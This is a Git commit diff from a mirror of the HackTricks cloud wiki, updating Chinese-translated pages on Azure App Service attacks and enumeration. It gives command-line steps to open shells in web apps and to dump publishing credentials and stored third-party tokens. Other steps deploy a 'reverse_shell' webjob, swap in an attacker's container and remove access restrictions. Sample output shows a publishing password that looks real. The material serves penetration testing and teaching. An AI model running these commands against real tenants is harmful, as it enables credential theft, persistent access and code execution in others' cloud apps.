mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 19:32:24 -08:00
Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md
This commit is contained in:
@@ -2,31 +2,29 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 在 Linux 中安装 PowerShell
|
||||
## 在Linux中安装PowerShell
|
||||
|
||||
> [!TIP]
|
||||
> 在 Linux 中,您需要安装 PowerShell Core:
|
||||
>
|
||||
> ```bash
|
||||
> sudo apt-get update
|
||||
> sudo apt-get install -y wget apt-transport-https software-properties-common
|
||||
>
|
||||
> # Ubuntu 20.04
|
||||
> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
|
||||
>
|
||||
> # 更新仓库
|
||||
> sudo apt-get update
|
||||
> sudo add-apt-repository universe
|
||||
>
|
||||
> # 安装并启动 PowerShell
|
||||
> sudo apt-get install -y powershell
|
||||
> pwsh
|
||||
>
|
||||
> # Az cli
|
||||
> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
|
||||
> ```
|
||||
> 在Linux中,您需要安装PowerShell Core:
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y wget apt-transport-https software-properties-common
|
||||
|
||||
## 在 MacOS 中安装 PowerShell
|
||||
# Ubuntu 20.04
|
||||
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
|
||||
|
||||
# Update repos
|
||||
sudo apt-get update
|
||||
sudo add-apt-repository universe
|
||||
|
||||
# Install & start powershell
|
||||
sudo apt-get install -y powershell
|
||||
pwsh
|
||||
|
||||
# Az cli
|
||||
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
|
||||
```
|
||||
## 在 MacOS 上安装 PowerShell
|
||||
|
||||
来自 [**文档**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4) 的说明:
|
||||
|
||||
@@ -34,7 +32,7 @@
|
||||
```bash
|
||||
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
|
||||
```
|
||||
2. 安装最新的稳定版本的 PowerShell:
|
||||
2. 安装最新的稳定版 PowerShell:
|
||||
```sh
|
||||
brew install powershell/tap/powershell
|
||||
```
|
||||
@@ -93,7 +91,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080"
|
||||
|
||||
### Az PowerShell
|
||||
|
||||
Azure PowerShell 是一个模块,包含用于直接从 PowerShell 命令行管理 Azure 资源的 cmdlets。
|
||||
Azure PowerShell 是一个模块,包含用于直接从 PowerShell 命令行管理 Azure 资源的 cmdlet。
|
||||
|
||||
请访问此链接以获取 [**安装说明**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell)。
|
||||
|
||||
@@ -123,7 +121,7 @@ Get-MgUser -Debug
|
||||
```
|
||||
### ~~**AzureAD Powershell**~~
|
||||
|
||||
Azure Active Directory (AD) 模块,现在 **已弃用**,是 Azure PowerShell 的一部分,用于管理 Azure AD 资源。它提供了用于管理用户、组和 Entra ID 中的应用程序注册的 cmdlet。
|
||||
Azure Active Directory (AD) 模块,现在 **已弃用**,是用于管理 Azure AD 资源的 Azure PowerShell 的一部分。它提供了用于管理用户、组和 Entra ID 中的应用程序注册的 cmdlet。
|
||||
|
||||
> [!TIP]
|
||||
> 这被 Microsoft Graph PowerShell 替代
|
||||
|
||||
@@ -4,22 +4,22 @@
|
||||
|
||||
## App Services
|
||||
|
||||
有关 Azure App 服务的更多信息,请查看:
|
||||
有关 Azure 应用服务的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-app-service.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, 
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
|
||||
|
||||
这些权限允许调用以下命令以获取 **SSH shell** 进入 web 应用
|
||||
这些权限允许在 web 应用程序内部获取 **SSH shell**。它们还允许 **调试** 应用程序。
|
||||
|
||||
- 直接选项:
|
||||
- **单命令 SSH**:
|
||||
```bash
|
||||
# Direct option
|
||||
az webapp ssh --name <name> --resource-group <res-group>
|
||||
```
|
||||
- 创建隧道,然后连接到 SSH:
|
||||
- **创建隧道然后连接到SSH**:
|
||||
```bash
|
||||
az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
|
||||
@@ -32,4 +32,249 @@ az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
|
||||
ssh root@127.0.0.1 -p 39895
|
||||
```
|
||||
- **调试应用程序**:
|
||||
1. 在 VScode 中安装 Azure 扩展。
|
||||
2. 使用 Azure 账户登录扩展。
|
||||
3. 列出订阅中的所有应用服务。
|
||||
4. 选择要调试的应用服务,右键单击并选择“开始调试”。
|
||||
5. 如果应用未启用调试,扩展将尝试启用它,但您的账户需要权限 `Microsoft.Web/sites/config/write` 才能这样做。
|
||||
|
||||
### 获取 SCM 凭据和启用基本身份验证
|
||||
|
||||
要获取 SCM 凭据,您可以使用以下 **命令和权限**:
|
||||
|
||||
- 权限 **`Microsoft.Web/sites/publishxml/action`** 允许调用:
|
||||
```bash
|
||||
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
|
||||
# Example output
|
||||
[
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
|
||||
"publishMethod": "MSDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"ftpPassiveMode": "True",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
|
||||
"publishMethod": "FTP",
|
||||
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
|
||||
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
|
||||
"publishMethod": "ZipDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
}
|
||||
]
|
||||
```
|
||||
注意**用户名始终相同**(FTP 除外,它在开头添加了应用程序的名称),但**密码对于所有用户都是相同的**。
|
||||
|
||||
此外,**SCM URL 是 `<app-name>.scm.azurewebsites.net`**。
|
||||
|
||||
- 权限 **`Microsoft.Web/sites/config/list/action`** 允许调用:
|
||||
```bash
|
||||
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
|
||||
# Example output
|
||||
{
|
||||
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"kind": null,
|
||||
"location": "Canada Central",
|
||||
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"publishingPasswordHash": null,
|
||||
"publishingPasswordHashSalt": null,
|
||||
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"resourceGroup": "carlos_rg_3170",
|
||||
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
|
||||
"type": "Microsoft.Web/sites/publishingcredentials"
|
||||
}
|
||||
```
|
||||
注意**凭据与之前的命令相同**。
|
||||
|
||||
- 另一个选项是**设置您自己的凭据**并使用它们:
|
||||
```bash
|
||||
az webapp deployment user set \
|
||||
--user-name hacktricks \
|
||||
--password 'W34kP@ssw0rd123!'
|
||||
```
|
||||
然后,您可以使用这些凭据来**访问SCM和FTP平台**。这也是保持持久性的好方法。
|
||||
|
||||
请记住,要从**网页访问SCM平台,您需要访问`<SCM-URL>/BasicAuth`**。
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,每个用户都可以通过调用之前的命令来配置自己的凭据,但如果用户没有足够的权限访问SCM或FTP,则凭据将无效。
|
||||
|
||||
- 如果您看到这些凭据是**已编辑的**,那是因为您**需要启用SCM基本身份验证选项**,为此您需要第二个权限(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write:`)
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
|
||||
# Enable basic authentication for FTP
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}
|
||||
```
|
||||
### 使用 SCM 凭据发布代码
|
||||
|
||||
仅凭有效的 SCM 凭据,就可以 **发布代码** 到应用服务。这可以通过以下命令完成。
|
||||
|
||||
对于这个 Python 示例,您可以从 https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart 下载仓库,进行您希望的任何 **更改**,然后 **运行:`zip -r app.zip .`** 进行压缩。
|
||||
|
||||
然后,您可以使用以下命令 **发布代码**:
|
||||
```bash
|
||||
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
|
||||
```
|
||||
### Microsoft.Web/sites/publish/Action | SCM 凭据
|
||||
|
||||
提到的 Azure 权限允许执行几个有趣的操作,这些操作也可以使用 SCM 凭据执行:
|
||||
|
||||
- 读取 **Webjobs** 日志:
|
||||
```bash
|
||||
# Using Azure credentials
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
|
||||
# Using SCM username and password:
|
||||
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
|
||||
--user '<username>:<password>>' -v
|
||||
```
|
||||
- 阅读 **Webjobs** 源代码:
|
||||
```bash
|
||||
# Using SCM username and password:
|
||||
# Find all the webjobs inside:
|
||||
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
|
||||
--user '<username>:<password>'
|
||||
|
||||
# e.g.
|
||||
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
- 创建 **持续 Webjob**:
|
||||
```bash
|
||||
# Using Azure permissions
|
||||
az rest \
|
||||
--method put \
|
||||
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
|
||||
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
|
||||
--body "@/Users/username/Downloads/rev.js" \
|
||||
--resource "https://management.azure.com/"
|
||||
|
||||
# Using SCM credentials
|
||||
curl -X PUT \
|
||||
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
|
||||
-H 'Content-Disposition: attachment; filename=rev.js' \
|
||||
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
此权限允许列出 App 服务的 **connection strings** 和 **appsettings**,这些可能包含敏感信息,如数据库凭据。
|
||||
```bash
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
```
|
||||
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
|
||||
|
||||
这些权限允许**将托管身份分配**给应用服务,因此如果应用服务之前被攻陷,这将允许攻击者将新的托管身份分配给应用服务并**提升权限**。
|
||||
```bash
|
||||
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
|
||||
```
|
||||
### 读取配置的第三方凭据
|
||||
|
||||
运行以下命令可以**读取当前账户中配置的第三方凭据**。请注意,如果例如某些Github凭据配置在不同的用户中,您将无法从其他用户访问该令牌。
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
此命令返回 Github、Bitbucket、Dropbox 和 OneDrive 的令牌。
|
||||
|
||||
以下是一些检查令牌的命令示例:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### 从源更新应用代码
|
||||
|
||||
- 如果配置的源是第三方提供商,如 Github、BitBucket 或 Azure Repository,您可以通过破坏存储库中的源代码来**更新应用的代码**。
|
||||
- 如果应用使用**远程 git 存储库**(带有用户名和密码)进行配置,可以通过以下方式获取**URL 和基本身份验证凭据**以克隆和推送更改:
|
||||
- 使用权限 **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
|
||||
- 使用权限 **`Microsoft.Web/sites/config/list/action`**:
|
||||
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
|
||||
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- 如果应用配置为使用**本地 git 存储库**,可以**克隆存储库**并**推送更改**:
|
||||
- 使用权限 **`Microsoft.Web/sites/sourcecontrols/read`**: 您可以通过 `az webapp deployment source show --name <app-name> --resource-group <res-group>` 获取 git 存储库的 URL,但它将与应用的 SCM URL 相同,路径为 `/<app-name>.git`(例如 `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`)。
|
||||
- 要获取 SCM 凭据,您需要权限:
|
||||
- **`Microsoft.Web/sites/publishxml/action`**: 然后运行 `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`。
|
||||
- **`Microsoft.Web/sites/config/list/action`**: 然后运行 `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,拥有权限 `Microsoft.Web/sites/config/list/action` 和 SCM 凭据始终可以部署到 webapp(即使它被配置为使用第三方提供商),如前面部分所述。
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,拥有以下权限也**可以执行任意容器**,即使 webapp 的配置不同。
|
||||
|
||||
### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read`
|
||||
|
||||
这是允许**修改 webapp 使用的容器**的一组权限。攻击者可以利用它使 webapp 执行恶意容器。
|
||||
```bash
|
||||
az webapp config container set \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,48 +1,98 @@
|
||||
# Az - 应用服务
|
||||
# Az - App Services
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 应用服务基本信息
|
||||
## App Service Basic Information
|
||||
|
||||
Azure 应用服务使开发人员能够 **无缝构建、部署和扩展 Web 应用程序、移动应用后端和 API**。它支持多种编程语言,并与各种 Azure 工具和服务集成,以增强功能和管理。
|
||||
Azure App Services 使开发人员能够 **构建、部署和无缝扩展 Web 应用程序、移动应用后端和 API**。它支持多种编程语言,并与各种 Azure 工具和服务集成,以增强功能和管理。
|
||||
|
||||
每个应用程序都在沙箱内运行,但隔离取决于应用服务计划
|
||||
每个应用程序都在沙箱内运行,但隔离取决于 App Service 计划
|
||||
|
||||
- 免费和共享层的应用程序运行在共享虚拟机上
|
||||
- 标准和高级层的应用程序运行在专用虚拟机上
|
||||
- 免费和共享层的应用程序在共享虚拟机上运行
|
||||
- 标准和高级层的应用程序在专用虚拟机上运行
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,**这些隔离** **并不能防止** 其他常见的 **Web 漏洞**(例如文件上传或注入)。如果使用了 **管理身份**,则可能能够 **提升权限**。
|
||||
> 请注意,**没有**这些隔离 **防止** 其他常见的 **Web 漏洞**(例如文件上传或注入)。如果使用 **管理身份**,则可能能够 **提升权限**。
|
||||
|
||||
### Azure 函数应用
|
||||
应用程序有一些有趣的配置:
|
||||
|
||||
基本上,**Azure 函数应用是 Azure 应用服务** 在 Web 中的一个子集,如果您访问 Web 控制台并列出所有应用服务,或在 az cli 中执行 `az webapp list`,您将能够 **看到函数应用也在此列出**。
|
||||
- **始终开启**:确保应用程序始终运行。如果未启用,应用程序将在 20 分钟不活动后停止运行,并在收到请求时重新启动。
|
||||
- 如果您有需要持续运行的 Web 作业,这是必需的,因为如果应用程序停止,Web 作业也会停止。
|
||||
- **SSH**:如果启用,具有足够权限的用户可以使用 SSH 连接到应用程序。
|
||||
- **调试**:如果启用,具有足够权限的用户可以调试应用程序。然而,这会在每 48 小时自动禁用。
|
||||
- **Web 应用 + 数据库**:Web 控制台允许创建带有数据库的应用程序。在这种情况下,可以选择要使用的数据库(SQLAzure、PostgreSQL、MySQL、MongoDB),并且还允许您创建 Azure Cache for Redis。
|
||||
- 包含数据库和 Redis 凭据的 URL 将存储在 **appsettings** 中。
|
||||
- **容器**:可以通过指示容器的 URL 和访问凭据将容器部署到 App Service。
|
||||
|
||||
实际上,一些与 **安全相关的功能** 应用服务使用(az cli 中的 `webapp`),**也被函数应用使用**。
|
||||
## Basic Authentication
|
||||
|
||||
## 基本身份验证
|
||||
|
||||
在创建 Web 应用程序(通常也是 Azure 函数)时,可以指示是否希望启用基本身份验证。这基本上 **为应用程序启用 SCM 和 FTP**,因此可以使用这些技术部署应用程序。\
|
||||
在创建 Web 应用程序(通常也是 Azure 函数)时,可以指示是否希望启用基本身份验证。这基本上 **启用 SCM 和 FTP** 以便可以使用这些技术部署应用程序。\
|
||||
此外,为了连接到它们,Azure 提供了一个 **API,允许获取用户名、密码和 URL** 以连接到 SCM 和 FTP 服务器。
|
||||
|
||||
- 身份验证:az webapp auth show --name lol --resource-group lol_group
|
||||
可以使用 Web 浏览器连接到 SCM,地址为 `https://<SMC-URL>/BasicAuth`,并检查其中的所有文件和部署。
|
||||
|
||||
SSH
|
||||
### Kudu
|
||||
|
||||
始终开启
|
||||
Kudu 是一个 **用于 Azure App Service 和 Function Apps 的部署引擎和管理平台**,提供基于 Git 的部署、远程调试和文件管理功能。可以通过 Web 应用的 SCM URL 访问它。
|
||||
|
||||
调试
|
||||
请注意,App Services 和 Function Apps 使用的 Kudu 版本不同,Function Apps 的版本要有限得多。
|
||||
|
||||
### 枚举
|
||||
在 Kudu 中可以找到一些有趣的端点:
|
||||
- `/DebugConsole`:一个控制台,允许您在 Kudu 运行的环境中执行命令。
|
||||
- 请注意,此环境 **无法访问** 元数据服务以获取令牌。
|
||||
- `/webssh/host`:一个基于 Web 的 SSH 客户端,允许您连接到应用程序运行的容器内。
|
||||
- 此环境 **可以访问** 元数据服务,以便从分配的管理身份中获取令牌。
|
||||
- `/Env`:获取有关系统、应用设置、环境变量、连接字符串和 HTTP 头的信息。
|
||||
- `/wwwroot/`:Web 应用的根目录。您可以从这里下载所有文件。
|
||||
|
||||
## Sources
|
||||
|
||||
App Services 默认允许将代码作为 zip 文件上传,但也允许连接到第三方服务并从那里获取代码。
|
||||
|
||||
- 当前支持的第三方源是 **Github** 和 **Bitbucket**。
|
||||
- 您可以通过运行 `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` 获取身份验证令牌。
|
||||
- Azure 默认会设置一个 **Github Action**,每次代码更新时将代码部署到 App Service。
|
||||
- 还可以指示一个 **远程 git 仓库**(带用户名和密码)以从那里获取代码。
|
||||
- 您可以通过运行 `az webapp deployment source show --name <app-name> --resource-group <res-group>` 或 `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` 获取远程仓库的凭据。
|
||||
- 还可以使用 **Azure Repository**。
|
||||
- 还可以配置 **本地 git 仓库**。
|
||||
- 您可以通过 `az webapp deployment source show --name <app-name> --resource-group <res-group>` 获取 git 仓库的 URL,这将是应用程序的 SCM URL。
|
||||
- 要克隆它,您将需要 SCM 凭据,可以通过 `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>` 获取。
|
||||
|
||||
## Webjobs
|
||||
|
||||
Azure WebJobs 是 **在 Azure App Service 环境中运行的后台任务**。它们允许开发人员在 Web 应用程序旁边执行脚本或程序,使处理异步或耗时操作(如文件处理、数据处理或计划任务)变得更容易。
|
||||
Web 作业有 2 种类型:
|
||||
- **持续**:无限期循环运行,并在创建后立即触发。它非常适合需要持续处理的任务。然而,如果应用程序因未启用始终开启而停止运行,并且在过去 20 分钟内没有收到请求,Web 作业也会停止。
|
||||
- **触发**:按需或基于计划运行。它最适合定期任务,例如批量数据更新或维护例程。
|
||||
|
||||
从攻击者的角度来看,Web 作业非常有趣,因为它们可以用来 **在环境中执行代码** 并 **提升权限** 到附加的管理身份。
|
||||
|
||||
此外,检查 Web 作业生成的 **日志** 总是很有趣,因为它们可能包含 **敏感信息**。
|
||||
|
||||
### Slots
|
||||
|
||||
Azure App Service Slots 用于 **将应用程序的不同版本部署到同一 App Service**。这允许开发人员在将新功能或更改部署到生产环境之前,在单独的环境中进行测试。
|
||||
|
||||
此外,可以将 **一定比例的流量** 路由到特定的插槽,这对于 **A/B 测试** 和后门目的非常有用。
|
||||
|
||||
### Azure Function Apps
|
||||
|
||||
基本上 **Azure Function 应用是 Azure App Service 的一个子集**,如果您访问 Web 控制台并列出所有应用服务或在 az cli 中执行 `az webapp list`,您将能够 **看到 Function 应用也在此列出**。
|
||||
|
||||
实际上,App Services 使用的一些 **与安全相关的功能**(在 az cli 中为 `webapp`) **也被 Function 应用使用**。
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az" }}
|
||||
```bash
|
||||
# List webapps
|
||||
az webapp list
|
||||
|
||||
## Less information
|
||||
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}"
|
||||
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table
|
||||
## Get SCM URL of each webapp
|
||||
az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g'
|
||||
|
||||
# Get info about 1 app
|
||||
az webapp show --name <name> --resource-group <res-group>
|
||||
@@ -51,18 +101,24 @@ az webapp show --name <name> --resource-group <res-group>
|
||||
az webapp list-instances --name <name> --resource-group <res-group>
|
||||
## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web
|
||||
|
||||
# Get configured Auth information
|
||||
az webapp auth show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get access restrictions of an app
|
||||
az webapp config access-restriction show --name <name> --resource-group <res-group>
|
||||
|
||||
# Remove access restrictions
|
||||
az webapp config access-restriction remove --resource-group <res-group> -n <name> --rule-name <rule-name>
|
||||
|
||||
# Get connection strings of a webapp
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get appsettings of an app
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get SCM and FTP credentials
|
||||
az webapp deployment list-publishing-profiles --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured Auth information
|
||||
az webapp auth show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get backups of a webapp
|
||||
az webapp config backup list --webapp-name <name> --resource-group <res-group>
|
||||
|
||||
@@ -75,61 +131,39 @@ az webapp config snapshot list --resource-group <res-group> -n <name>
|
||||
# Restore snapshot
|
||||
az webapp config snapshot restore -g <res-group> -n <name> --time 2018-12-11T23:34:16.8388367
|
||||
|
||||
# Get connection strings of a webapp
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
# Get slots
|
||||
az webapp deployment slot list --name <AppName> --resource-group <ResourceGroupName> --output table
|
||||
az webapp show --slot <SlotName> --name <AppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# Get traffic-routing
|
||||
az webapp traffic-routing show --name <AppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# Get used container by the app
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get storage account configurations of a webapp
|
||||
az webapp config storage-account list --name <name> --resource-gl_group
|
||||
az webapp config storage-account list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured container (if any) in the webapp, it could contain credentials
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get Webjobs
|
||||
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
|
||||
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
|
||||
|
||||
# Read webjobs logs with Azure permissions
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
# Read webjobs logs with SCM credentials
|
||||
curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \
|
||||
--user '<username>:<password>' -v
|
||||
|
||||
# Get info of 1 funciton (although in the list you already get this info)
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..."
|
||||
## This is using a container
|
||||
# Get connections of a webapp
|
||||
az webapp conection list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get details about the source of the function code
|
||||
az functionapp deployment source show \
|
||||
--name <app-name> \
|
||||
